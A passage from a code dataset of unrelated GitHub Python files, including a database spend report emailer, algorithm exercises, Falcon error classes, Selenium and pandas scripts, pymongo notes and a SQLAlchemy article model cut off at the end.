save=True)\n\n\n\n\n\n","repo_name":"sethkimmel3/SemanticNetworkStockMarketAnalysis","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"29349332608","text":"import cx_Oracle\nimport pandas as pd\nimport datetime\nimport smtplib\nfrom email.message import EmailMessage\n# import numpy as np\n# import matplotlib.pyplot as plt\n\nyear = datetime.date.today().year\nmonth = datetime.date.today().month\nday = datetime.date.today().day\nTimeStamp = str(year)+str(month)+str(day)\n# TimeStamp = datetime.date.today()\n\ncx_Oracle.init_oracle_client(lib_dir=r\"C:/instantclient_19_12\")\nuserpwd = \"DBPwd\" # Obtain password string from a user prompt or environment variable\ndsn = cx_Oracle.makedsn(\"HOSTNAME\", 'PORT', service_name=\"SERVICE NAME\")\n\nconnection = cx_Oracle.connect(user=\"DBUserName\", password=userpwd, dsn=dsn,encoding=\"UTF-8\")\ncur = connection.cursor()\nTotal_Live_Purchasing_Locations = \"SELECT count(distinct a.COMP_ID) as \\\"A\\\" FROM PO_HEADER a,COMP_PRFLE b WHERE a.SUB_ID=@SUBID and a.GEN_DATE between TO_DATE('2021-01-01', 'YYYY-MM-DD') and TO_DATE('2022-12-01', 'YYYY-MM-DD') and nvl(a.is_deleted,0)!='1' and a.COMP_ID not in (SELECT COMP_ID FROM COMP_PRFLE WHERE SUB_ID=@SUBID and is_buyer=1 and active=1) and a.SUB_ID=b.SUB_ID and a.COMP_ID=b.COMP_ID and B.IS_BUYER=1 and b.active=1 and b.ATTR is not null\"\n\n# dfe = cur.execute(query1)\n# rows = cur.fetchall()\nFileNameExcel = 'SpendAnalysis_' + str(TimeStamp) + '.xlsx'\ndf2 = pd.read_sql(Total_Live_Purchasing_Locations, connection)\n# with open('Spend Analysis.sql') as f:\n# newText=f.read().replace('2022-08-01', '2022-08-01')\n# with open('Spend Analysis.sql', \"w\") as f:\n# f.write(newText)\nwith open('Spend Analysis.sql') as f:\n Lines = f.readlines()\n # print(\"File data in binary\", file_data)\n # file_name = f.name\n # print(\"File Name is:\", file_name)\nfor line in Lines:\n x= line.strip()\n df = pd.read_sql(x, connection)\n df = df.dropna()\n df2 = pd.concat([df2, df], axis=1)\n df2.dropna()\n# print(df2)\ndf2.rename(columns={'A':'Number of Purchasing Locations Live','B':'Number of Invoicing Locations Live','C':'Total Credit Memos',\n'D':'Total Purchase Orders','E':'Total Invoices','F':'Total Purchase Order Lines','G':'Total Accounts Payable Lines','H':'Total Spend in Purchase Orders','I':'Highest Value Purchase Order',\n'J':'Total Spend in AP Invoices','K':'Highest Value AP Invoice','L':'Highest Valued Line Item ordered','M':'Highest Valued AP Line','N':'Total Catalog items',\n'O':'Lowest Value Purchase Order','P':'PO Count Trend (8 Rows)','Q':'PO Spend Trend','R':'AP Count Trend','S':'AP Spend Trend','T':'Report Run Count',\n'U':'PO Spend by Supplier (Last 15 Days)','V':'PO Spend by Supplier (Till Date)',\n'W':'Total Units','X1':'Count of Live Customer Profit Sites','X':'Non PO Invoices', 'XA':'EDI Exchange Non-PO Invoices','Y':'Non PO Supplier App AP',\n'Z':'Non-PO CSV','AB':'Manually Gen <>PO AP/Non-Elect',\n'AC':'PO Invoices','AC1':'EDI Exchange PO Inv','AD':'PO Supplier App Invoices','AE':'PO CSV',\n'AF':'Manually Generated PO Invoices','AG':'Purchase by Line of Business',\n'AH':'Purchase by Profit Sites','AI':'Purchase by Area Site Names','AJ':'AP Invoice by Area Site Names', 'AK': 'Total Live Area Site'}, inplace=True)\n\n\nwith pd.ExcelWriter(FileNameExcel) as writer: # doctest: +SKIP\n df2.to_excel(writer, sheet_name= 'Summary', index=False)\n # df3.to_excel(writer, sheet_name= 'SQL STATEMENTS', index=False)\n\nconnection.close()\n\nmsg = EmailMessage()\nmsg['Subject'] = 'Customer Spend Data'\nmsg['From'] = 'username@domain.com'\nmsg['To'] = 'username@domain.net,username2@domain.net'\nmsg.set_content(\"Attached file contains the details of Spend Data which includes the count of active locations/sites/Profit Centers.\\nReach out to me for further clarity on data.\")\n\nwith open(FileNameExcel, \"rb\") as f:\n file_data = f.read()\n file_name = f.name\n print(\"File Name is:\", file_name)\n msg.add_attachment(file_data,maintype=\"application\", subtype= \"xlsx\", filename = file_name)\ntry:\n server = smtplib.SMTP_SSL('smtp.mail.yahoo.com', 465)\n server.login(\"user@domain.com\", \"pwd\")\n server.send_message(msg)\n print(\"Email Sent Sucessfully!\")\nexcept:\n print(\"Unknown Error\")\nserver.quit()\n\n","repo_name":"mirvakas/pythonProject","sub_path":"Business Analytics/Spend Data Till Date.py","file_name":"Spend Data Till Date.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2099896230","text":"#1037 약수\nimport sys\n\nN = int(input())\n\narray = list(map(int,sys.stdin.readline().split()))\n\narray.append(1)\narray.sort()\nif len(array)==2:\n print(array[1]**2)\nelif len(array)%2==1:\n print(array[N//2]*array[N//2+1])\nelif len(array)%2==0:\n print(array[N//2+1]**2)\n","repo_name":"bmk0110/Algorithm","sub_path":"BOJ/1037.py","file_name":"1037.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38980743110","text":"import falcon\nfrom collections import OrderedDict\nimport json\n\n\nERR_UNKNOWN = {\n 'status': falcon.HTTP_500,\n 'code': 500,\n 'title': 'Unknown Error'\n}\n\nUNAUTHORIZED_USER = {\n 'status': falcon.HTTP_401,\n 'code': 99,\n 'title': 'User not authorized'\n}\n\nNOT_SUPPORTED_ERROR = {\n 'status': falcon.HTTP_404,\n 'code': 10,\n 'title': 'Not supported'\n}\n\nINVALID_ERROR = {\n 'status': falcon.HTTP_400,\n 'code': 88,\n 'title': 'Invalid Parameter'\n}\n\n# base class for all falcony errors\nclass Error(Exception):\n\n def __init__(self, error=ERR_UNKNOWN, description=None):\n self.error = error\n self.error['description'] = description\n\n @property\n def code(self):\n return self.error['code']\n\n @property\n def title(self):\n return self.error['title']\n\n @property\n def status(self):\n return self.error['status']\n\n @property\n def description(self):\n return self.error['description']\n\n @staticmethod\n def handle(ex, req, resp, error):\n resp.status = ex.status\n\n meta = OrderedDict()\n meta['code'] = ex.code\n meta['message'] = ex.title\n\n if error['description']:\n meta['description'] = error['description']\n resp.body = json.dumps({'meta': meta})\n\n\n# class for handling unauthorized user\nclass UnAuthorizedUser(Error):\n def __init__(self, description=None):\n super.__init__(UNAUTHORIZED_USER)\n if description:\n self.error['description'] = description\n\n\nclass NotSupportedError(Error):\n def __init__(self, method=None, url=None):\n super.__init__(NOT_SUPPORTED_ERROR)\n if method and url:\n self.error['description'] = 'Method: %s, Url: %s' % (method, url)\n\n\nclass InvalidError(Error):\n def __init__(self, description=None):\n super.__init__(INVALID_ERROR)\n if description:\n self.error['description'] = description","repo_name":"luckysher/falcony","sub_path":"error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"32991334491","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n def __init__(self, value):\n self.head = Node(value)\n\n def append(self, value):\n cur = self.head\n while cur.next is not None:\n cur = cur.next\n cur.next = Node(value)\n\n def get_kth_node_from_last(self, k):\n return self.get_node(len(self) - k)\n\n def __len__(self):\n cur = self.head\n len_cnt = 0\n while cur:\n len_cnt += 1\n cur = cur.next\n return len_cnt\n\n def get_node(self, index):\n cnt = 0\n cur = self.head\n while cnt < index:\n cnt += 1\n cur = cur.next\n return cur\n\nlinked_list = LinkedList(6)\nlinked_list.append(7)\nlinked_list.append(8)\n\nprint(len(linked_list))\n\nprint(linked_list.get_kth_node_from_last(2).data) # 7이 나와야 합니다!","repo_name":"beebopkim/spartan_algorithm","sub_path":"week_2/homework/01_get_kth_node_from_last.py","file_name":"01_get_kth_node_from_last.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24681601696","text":"'''\nCreated on Aug 3, 2020\n\n@author: charles newman\nhttps://github.com/26point2Newms\n'''\n\nclass TreeNode(object):\n\t'''\n\tNode class to support a Binary Tree data structure\n\t'''\n\tdef __init__(self, info, parent=None):\n\t\t'''\n\t\tConstructor\n\t\t'''\n\t\tself.info = info\n\t\tself.left = None\n\t\tself.right = None\n\t\tself.parent = parent\n\t","repo_name":"26point2Newms/data-structures-and-algorithms","sub_path":"python/CNTreeNode.py","file_name":"CNTreeNode.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73847261634","text":"import time\nimport re\n\n\ndef test_add_to_cart_button(browser):\n browser.get('http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/')\n\n initial_account = browser.find_element_by_css_selector('#default > header > div.page_inner > div > div.basket-mini.pull-right.hidden-xs').text\n initial_account = float(re.findall(r'\\d+,\\d+', initial_account)[0].replace(',', '.'))\n print(initial_account)\n\n browser.find_element_by_class_name(\"btn-add-to-basket\").click()\n time.sleep(1)\n\n result = browser.find_element_by_xpath('//*[@id=\"messages\"]/div[1]/div/strong').text\n assert 'Coders at Work' in result\n\n final_account = browser.find_element_by_css_selector(\n '#default > header > div.page_inner > div > div.basket-mini.pull-right.hidden-xs').text\n final_account = float(re.findall(r'\\d+,\\d+', final_account)[0].replace(',', '.'))\n\n assert final_account == initial_account + 19.99","repo_name":"AlterFritz88/stepik_selenium_peer_review","sub_path":"test_items.py","file_name":"test_items.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2075963426","text":"class Solution:\n \"\"\"\n @param s: input string\n @return: a string as the longest palindromic substring\n \"\"\"\n def longestPalindrome(self, s):\n # Time O(n^2) Space O(n^2)\n if not s:\n return ''\n \n n = len(s) \n left, right, maxLength = 0, 0, 1\n # isPalindrome = [[False for _ in range(n)] for _ in range(n)]\n # error: difference between the above method and [[False]*n]*n\n isPalindrome = [[False] * n for _ in range(n)]\n \n for i in range(1, n):\n isPalindrome[i][i-1] = True\n for i in range(n):\n isPalindrome[i][i] = True\n \n for step in range(1, n):\n for start in range(n - step):\n end = start+step\n isPalindrome[start][end] = (s[start] == s[end]) and (isPalindrome[start + 1][end - 1])\n if isPalindrome[start][end] and step + 1 > maxLength:\n left, right, maxLength = start, end, step+1\n \n return s[left:right+1]\n \nclass Solution2:\n \"\"\"\n @param s: input string\n @return: a string as the longest palindromic substring\n \"\"\"\n def longestPalindrome(self, s):\n # Time O(n^2) Space O(1)\n if not s:\n return ''\n \n n = len(s) \n longest = ''\n for mid in range(n):\n sub = self.findPalindrome(mid, mid, s)\n if len(sub) > len(longest):\n longest = sub\n sub = self.findPalindrome(mid, mid+1, s)\n if len(sub) > len(longest):\n longest = sub\n\n return longest \n \n def findPalindrome(self, start, end, s):\n while 0 <= start and end < len(s):\n if s[start] != s[end]:\n break\n start -= 1\n end += 1\n \n return s[start+1:end] \n # error: [start:end+1] \n # since start and end is different so we should not use s[start] and s[end]\n\n","repo_name":"Amory0709/Python","sub_path":"Data-Structure-and-Algorithm/LongestPalindromicSubstring.py","file_name":"LongestPalindromicSubstring.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39098382188","text":"class Solution:\n def rob(self, nums: List[int]) -> int:\n if len(nums) == 0:\n return 0\n dp = []\n dp.append(nums[0])\n if len(nums) == 1:\n return nums[0]\n dp.append(max(nums[0],nums[1]))\n for i in range(2,len(nums)):\n dp.append(max(dp[i-1],nums[i]+dp[i-2]))\n return dp[len(nums)-1]\n\n\n#Time Complexity :O(n) where n is the the total number of houses\n#Space Complexity :O(n) where n is th total number of houses","repo_name":"vamsysri/DP-1","sub_path":"homerobber.py","file_name":"homerobber.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"24048098499","text":"m1 = 1\t\t\r\nm2 = 100000000\r\n\r\n# Mass of object initially at rest : m1\r\n# Mass of object moving initially : m2\r\n\r\ninitvector = [0 ,1]\r\n# [Velocity of m1, Velocity of m2)\r\n\r\ncurrentvector = initvector[:]\r\n\r\ndef mulA(vec):\r\n\tmsum = (m1 + m2)\r\n\ta11 = (m1 - m2)/float(msum)\r\n\ta12 = 2*m2/float(msum)\r\n\ta21 = 2*m1/float(msum)\r\n\ta22 = (m2 - m1)/float(msum)\r\n\r\n\r\n\tv1 = a11*vec[0] + a12*vec[1]\r\n\tv2 = a21*vec[0] + a22*vec[1]\r\n\r\n\treturn [v1, v2]\r\n\r\n\r\ndef mulW(vec):\r\n\tv1 = (-1)*vec[0]\r\n\tv2 = vec[1]\r\n\treturn [v1, v2]\r\n\r\ndef checkspeeds(speed1, speed2):\r\n\tret = True\r\n\tif (speed1 <= 0 and speed2 <=0):\r\n\t\tif(abs(speed2) >= abs(speed1)):\r\n\t\t\tret = False\r\n\r\n\treturn ret\r\n\r\ncollisioncount = 0\r\n\r\nmtype = 'A'\r\n\r\nwhile(checkspeeds(currentvector[0], currentvector[1])):\r\n\t\r\n\tif (mtype == 'A'):\r\n\t\tnvec = mulA(currentvector)\r\n\t\tcurrentvector = nvec[:]\r\n\t\tcollisioncount = collisioncount + 1\r\n\t\tmtype = 'W'\r\n\telif (mtype == 'W'):\r\n\t\tnvec = mulW(currentvector)\r\n\t\tcurrentvector = nvec[:]\r\n\t\tcollisioncount = collisioncount + 1\r\n\t\tmtype = 'A'\r\n\r\nprint(\"Mass at rest initally : %d\" % m1)\r\nprint(\"Mass at moving initally : %d\" % m2)\r\nprint(\"Total number of collisions of the masses : %f\" % collisioncount)","repo_name":"prajwalsouza/Counting-Collisions","sub_path":"collision calculations.py","file_name":"collision calculations.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"22006485463","text":"import sys; sys.stdin = open(\"5607.txt\", \"r\")\n\nN = int(input())\ntotal_a = 0\ntotal_b = 0\nfor i in range(N):\n a, b = map(int, input().split())\n if a > b:\n total_a += (a+b)\n elif a < b:\n total_b += (a+b)\n else:\n total_a += a\n total_b += b\n\nprint(total_a, total_b)","repo_name":"vreez/APS","sub_path":"boj/boj_5607_문제 1.py","file_name":"boj_5607_문제 1.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7765910605","text":"import os\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\n#returns current working directory\nos.getcwd()\n#changes working directory\nos.chdir(\"D:\\\\Sanketh\\\\Data Science\\\\House Prices\")\n\nhouse_train = pd.read_csv(\"house_train.csv\")\nhouse_train.shape\nhouse_train.info()\n\nhouse_test = pd.read_csv(\"house_test.csv\")\nhouse_test.shape\nhouse_test.info()\n\n#Concatenate train and test data and we will seperate before applying the model\nhouse_data = pd.concat([house_train, house_test], ignore_index=True)\nhouse_data.drop([\"Id\",\"SalePrice\"], 1, inplace=True)\nhouse_data.shape\nhouse_data.info()\n\n#convert numerical columns to categorical type \nhouse_data['MSSubClass'] = house_data['MSSubClass'].astype('category')\nhouse_data.shape\n#convert categorical columns to numeric type\nordinal_features = [\"ExterQual\", \"ExterCond\", \"BsmtQual\", \"BsmtCond\", \"GarageQual\", \"GarageCond\", \"PoolQC\", \"FireplaceQu\", \"KitchenQual\", \"HeatingQC\"]\n#ordinal_features1 = [col for col in house_train if 'TA' in list(house_train[col])]\nquality_dict = {None: 0, \"Po\": 1, \"Fa\": 2, \"TA\": 3, \"Gd\": 4, \"Ex\": 5}\nfor i in ordinal_features:\n house_data.loc[house_data[i].isnull(), i] = None \n house_data[i] = house_data[i].map(quality_dict)\n\n#10,20, 30, 50, 2000\n#Log of above number\nnp.log(10) #2.3025850929940459\nnp.log(20) #2.9957322735539909\nnp.log(30) #3.4011973816621555\nnp.log(40) #3.6888794541139363\nnp.log(50) #3.912023005428146\nnp.log(2000) #7.6009024595420822\nnp.log(5000) #8.5171931914162382\n\n#handle missing data columns\n#See, for how many rows the data is missing!\ntotal_missing = house_data.isnull().sum()\nprint(total_missing)\n\n#for just dry run, go ahead and delete where the data is missing.\n#This is just for a dry run to understand the next steps.\n#in reality, we have impute these values\nto_delete = total_missing[total_missing>0]\nhouse_data.drop(list(to_delete.index), axis=1, inplace=True)\nhouse_data.shape\n\n#Numerical columns identification.. include=['number']\nnumeric_cols = house_data.select_dtypes(include=['number']).columns\n#Categorical columns identification by selection all non-number columns.. exclude = ['number'])\ncat_cols = house_data.select_dtypes(exclude = ['number']).columns\nhouse_data.shape\n#house_data['MSSubClass'] = house_data['MSSubClass'].astype('category')\n\n#Automated to get all category columns and use one hot encoding instead of writing each and every column\nhouse_data1 = pd.get_dummies(house_data, columns=cat_cols)\nhouse_data1.shape\nhouse_data1.describe\n#Plot my sale price\nx = house_train['SalePrice']\nsns.distplot(x, kde=False) #Kde: Whether to plot a guassian Kernel Density Estimate or not!\n\n\n#splitting train data as conctenated in the begining\nhouse_train1 = house_data1[:house_train.shape[0]]\n#splitting test data as conctenated in the begining\nhouse_test1 = house_data1[house_train.shape[0]:]\n\n#Smooting the SalePrice. As the sale price has outlier/noise data\nhouse_train['log_sale_price'] = np.log(house_train['SalePrice'])\n#See how the data looks like with log values.\nsns.distplot(house_train['log_sale_price'], kde=False)\n\n#10,20, 30, 50, 2000\n#Log of above number\nnp.log(10) # 2.3025850929940459\nnp.log(20) #2.9957322735539909\nnp.log(30) #3.4011973816621555\nnp.log(50) #3.912023005428146\nnp.log(2000) #7.6009024595420822\n","repo_name":"sankethv/DSDec2018","sub_path":"sale_price_log_transformation.py","file_name":"sale_price_log_transformation.py","file_ext":"py","file_size_in_byte":3292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11672113280","text":"from django.shortcuts import render\n\nfrom . import util\n\n# views file decides what the user sees when they visit a particular route\n# functions are used for the view. Request is the http request made by the user in order to access the web server\n# tell the app what url the user is going to visit in order to return the response in the function\n\n# tell Django when the url is visited then this function should be run in able to return the list of entries in the\n# encyclopedia\ndef index(request):\n return render(request, \"encyclopedia/index.html\", {\n \"entries\": util.list_entries()\n })\n\n# Displays the contents of the subject/title searched for\ndef entry(request, title):\n content = util.get_entry(title)\n if not content:\n return render(request, \"encyclopedia/error.html\", {\n \"message\": \"Sorry, this entry does not exist\"\n })\n \n else:\n return render(request, \"encyclopedia/entry.html\", {\n \"content\": content,\n \"title\": title,\n })\n\n\n\n\n","repo_name":"katewoodsnow/CS50W-Project1-wiki","sub_path":"encyclopedia/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7615719773","text":"import pymongo\r\nfrom pymongo import MongoClient\r\n\r\ncluster = MongoClient(\"\") # Insert MongoDB URL and replace with database password\r\ndb = cluster[\"test\"] # Name of database\r\ncollection = db[\"test\"]\r\n\r\n# Define dictionary, aka post or document\r\npost1 = {\r\n \"_id\": 0, # _id will be randomized if not specifically given\r\n \"name\": \"Nathan\",\r\n \"role\": \"dev\"\r\n}\r\n\r\npost2 = {\r\n \"_id\": 1,\r\n \"name\": \"Meagan\",\r\n \"role\": \"artist\"\r\n}\r\n\r\n# Add dictionary to collection\r\n# collection.insert_one(post)\r\n\r\n# Add multiple dictionaries\r\ncollection.insert_many([post1, post2])\r\n\r\n# Get all dictionaries by field\r\nresults1 = collection.find({\"name\": \"Meagan\"}) # Can also be replaced with regex - to search multiple fields at once, add , then another field\r\n\r\n# This will return an object ID - use for loop to print out details\r\n# print(results)\r\n\r\nfor result in results1:\r\n # prints id of result matching the dictionary and filter from results = collection.find()\r\n print(result[\"_id\"])\r\n \r\n# Get one dictionary by field - strongly recommended to search by id\r\nresults2 = collection.find_one({\"_id\": 0 })\r\nprint(results2)\r\n\r\n# Get all dictionaries\r\nresults3 = collection.find({})\r\nfor x in results3:\r\n print(x)\r\n \r\n# Update dictionary\r\nresult4 = collection.update_one({\"_id\": 0 }, {\"$set\": {\"role\": \"lead dev\"}})\r\n# $set: can be used to create a new field\r\n# collection.update_many can update multiple\r\n\r\n# count how many documents fit criteria\r\npost_count = collection.count_documents({})\r\nprint(post_count) # returns 2\r\n\r\n# Delete dictionary by specific field\r\nresults5 = collection.delete_one({\"_id\": 0})\r\n# use collection.delete_many() to delete multiple entries by field or leave {} blank to delete all\r\nprint(post_count) # returns 1","repo_name":"nathanychin/pymongo-notes","sub_path":"pymongo-101.py","file_name":"pymongo-101.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72832886914","text":"dia = input()\nw1 = int(dia[-2:])\nhora1 = input()\nh1 = int(hora1[0:2])\nm1 = int(hora1[5:7])\ns1 = int(hora1[-2:])\ndia2 = input()\nw2 = int(dia2[-2:])\nhora2 = input()\nh2 = int(hora2[0:2])\nm2 = int(hora2[5:7])\ns2 = int(hora2[-2:])\n\ndiap = w2 - w1\nhp = h2 - h1\nmp = m2 - m1\nsp = s2 - s1\n\nwhile sp < 0:\n\tmp -=1\n\tsp += 60\nwhile mp < 0:\n\thp -= 1\n\tmp += 60\nwhile hp < 0:\n\tdiap -= 1\n\thp += 24\n\nprint(diap, \"dia(s)\")\nprint(hp, \"hora(s)\")\nprint(mp, \"minuto(s)\")\nprint(sp, \"segundo(s)\")","repo_name":"vterreno/ejercicios-curso-python","sub_path":"Ejercicios/Ejercicio #5 - Tiempo del evento/jesusPerochino.py","file_name":"jesusPerochino.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"35480095471","text":"# -*- coding: utf-8 -*-\n\npositivos = 0\nsoma = 0\n\nfor i in range(6):\n n = float(input())\n if (n > 0.0):\n positivos += 1\n soma += n\n\nprint(positivos, \"valores positivos\")\nprint(\"{:.1f}\".format(soma / positivos))","repo_name":"rodolfoghi/urionlinejudge","sub_path":"python/1064.py","file_name":"1064.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"es","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"23615713401","text":"#!/usr/bin/python\n\n# read number of test cases T\nnum_cases = int(raw_input())\n\nclass Robot:\n\tdef __init__(self, name, moves):\n\t\tself.name = name\n\t\tself.current_pos = 1\n\t\tself.current_move = 0\n\t\tself.moves = moves\n\t\tif len(self.moves) > 0:\n\t\t\tself.next_pos = self.moves[self.current_move]\n\t\telse:\n\t\t\tself.next_pos = self.current_pos\n\n\tdef move(self, time):\n\t\t#old_pos = self.current_pos\n\t\tif self.current_pos != self.next_pos:\n\t\t\tdistance = abs(self.next_pos - self.current_pos)\n\t\t\tdistance = min(time, distance)\n\t\t\tif self.next_pos > self.current_pos:\n\t\t\t\tself.current_pos += distance\n\t\t\telse:\n\t\t\t\tself.current_pos -= distance\n\t\t#if self.current_pos != old_pos:\n\t\t#\tprint(\"%s moved from %d to %d\" % (self.name, old_pos, self.current_pos))\n\t\t#else:\n\t\t# print(\"%s did not move\" % (self.name))\n\n\tdef next_move(self):\n\t\t#print(\"%s pressed button %d\" % (self.name, self.moves[self.current_move]))\n\t\tif self.current_move + 1 < len(self.moves):\n\t\t\tself.current_move += 1\n\t\t\tself.next_pos = self.moves[self.current_move] \n\t\n\tdef time_to_move(self):\n\t\treturn abs(self.next_pos - self.current_pos)\n\nfor i in range(0, num_cases):\n\tterms = raw_input().split(' ')\n\tnum_terms = int(terms[0])\n\t\n\tblue_moves = []\n\torange_moves = []\n\tmoves = []\n\tfor j in range(0, num_terms):\n\t\trobot = terms[2 * j + 1]\n\t\tbutton = int(terms[2 * j + 2]) \t\n\t\tif robot == 'B':\n\t\t\tmoves.append('B')\n\t\t\tblue_moves.append(button)\n\t\telse:\n\t\t\tmoves.append('O')\n\t\t\torange_moves.append(button)\n\t\n\tblue = Robot(\"Blue\", blue_moves)\n\torange = Robot(\"Orange\", orange_moves)\n\t#print(blue_moves)\n\t#print(orange_moves)\t\n\tcurrent_time = 0\n\tfor current in range(0, len(moves)):\n\t\t#print(\"Current time: %d\" % (current_time))\n\t\tif moves[current] == 'B':\n\t\t\ttime = blue.time_to_move()\n\t\t\tblue.move(time)\n\t\t\torange.move(time + 1)\n\t\t\tcurrent_time += time + 1\n\t\t\tblue.next_move()\n\t\telse:\n\t\t\ttime = orange.time_to_move()\n\t\t\torange.move(time)\n\t\t\tblue.move(time + 1)\n\t\t\tcurrent_time += time + 1\n\t\t\torange.next_move()\n\tprint(\"Case #%d: %d\" % (i + 1, current_time))\n\t#print(\"\\n\")\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_74/885.py","file_name":"885.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23425083861","text":"#!/usr/bin/env python3\n\"\"\"\nCookie Clicker Alpha problem\nfor Google Code Jam 2014\nQualification Round\n\nLink to problem description:\nhttps://code.google.com/codejam/contest/2974486/dashboard#s=p1\n\nauthor: \nChristos Nitsas\n(chrisn654 or nitsas)\n\nlanguage:\nPython 3(.3)\n\ndate:\nApril, 2014\n\nusage:\n$ python3 runme.py sample.in\nor\n$ runme.py sample.in\n(where sample.in is the input file and $ the prompt)\n\"\"\"\n\n\nimport sys\nimport collections\nimport math\n# non-standard modules:\nfrom helpful import read_int, read_list_of_float\n\n\nTestCase = collections.namedtuple(\"TestCase\", (\"C\", \"F\", \"X\"))\n\n\ndef solve_test_case(tc):\n # I did the math and it turns out that the optimal number of farms \n # to build is n* = X/C - 2/F - 1\n # - for n > n* farms it's faster if we build one less farm\n # - for n < n* it's facter if we build one more farm\n # - for n == n* it's the same if we build n and if we build n+1 farms\n # So, for the optimal strategy, we'll build either floor(n*) or ceil(n*) \n # farms (whichever is better).\n n_star = tc.X/tc.C - 2/tc.F - 1\n if n_star < 0:\n # it's best if we build no farms\n return tc.X/2.0\n assert(tc.X > tc.C)\n n_floor = math.floor(n_star)\n n_ceil = math.ceil(n_star)\n time_to_build_n_floor_farms = 0\n for i in range(n_floor):\n time_to_build_n_floor_farms += tc.C/(2.0+i*tc.F)\n time_to_build_n_ceil_farms = time_to_build_n_floor_farms + tc.C/(2.0+n_floor*tc.F)\n time_with_n_floor_farms = time_to_build_n_floor_farms + tc.X/(2.0+n_floor*tc.F)\n time_with_n_ceil_farms = time_to_build_n_ceil_farms + tc.X/(2.0+n_ceil*tc.F)\n return min(time_with_n_floor_farms, time_with_n_ceil_farms)\n\n\ndef main(filename=None):\n if filename is None:\n if len(sys.argv) == 2:\n filename = sys.argv[1]\n else:\n print(\"Usage: runme.py input_file\")\n return 1\n with open(filename, \"r\") as f:\n T = read_int(f)\n test_cases = list(TestCase(*read_list_of_float(f)) for i in range(T))\n for i, tc in enumerate(test_cases, start=1):\n print(\"Case #{}: {:.7f}\".format(i, solve_test_case(tc)))\n return 0\n\n\nif __name__ == \"__main__\":\n status = main()\n sys.exit(status)\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/2502.py","file_name":"2502.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27538720637","text":"from flask import url_for\n\nfrom sqlalchemy import Column, Integer, String, BigInteger, Text, Boolean, ForeignKey\nfrom sqlalchemy.orm import relationship, backref\nfrom flask.ext.babel import gettext as _\nfrom slugify import slugify\n\nfrom .database import Base, db_session\n\nfrom utils import now_ms, escape\n\nfrom .mixins.votable import Votable\nfrom .mixins.commentable import Commentable\nfrom .mixins.recordable import Recordable\nfrom .mixins.taggable import Taggable\nfrom .mixins.pointable import Pointable\nfrom .mixins.searchable import Searchable\nfrom .mixins.loggable import Loggable\nfrom .comment import Comment\n\nclass Article(Base, Votable, Commentable, Recordable, Taggable, Pointable, Searchable, Loggable):\n __tablename__ = 'articles'\n \n id = Column(Integer, primary_key=True)\n title = Column(String(256))\n date_created = Column(BigInteger, default=now_ms)\n content = Column(Text)\n is_active = Column(Boolean, default=False)\n ip = Column(Text)\n\n user_id = Column(Integer, ForeignKey('users.id', ondelete='CASCADE'))\n\n user = relationship('User', backref=backref('articles', order_by=date_created, cascade='all,delete'))\n\n # @orm.reconstructor\n # def init_on_load(self):\n # self.user_vote = None\n # self.user_comment = False\n\n def json_data(self):\n return {\n \"content\": escape(self.content),\n \"title\": self.title,\n \"id\": self.id,\n \"date_created\": self.date_created,\n \"is_active\": self.is_active,\n \"user\": self.user.json_data(),\n \"tags\": self.get_tags(),\n \"points\": self.points,\n \"comment_count\": self.comment_count,\n \"view_count\": self.view_count,\n \"urls\": self.get_url()\n }\n\n def get_url(self, name=None):\n urls = {\n 'view': url_for('articles.view', slug=slugify(self.title), id=self.id)\n }\n\n if name:\n return urls.get(name)\n\n return urls\n\n def update(self, **kwargs):\n old_content = self.content\n old_title = self.title\n old_status = self.is_active\n\n for attribute in ['content', 'title', 'is_active']:\n value = kwargs.get(attribute)\n if value:\n setattr(self, 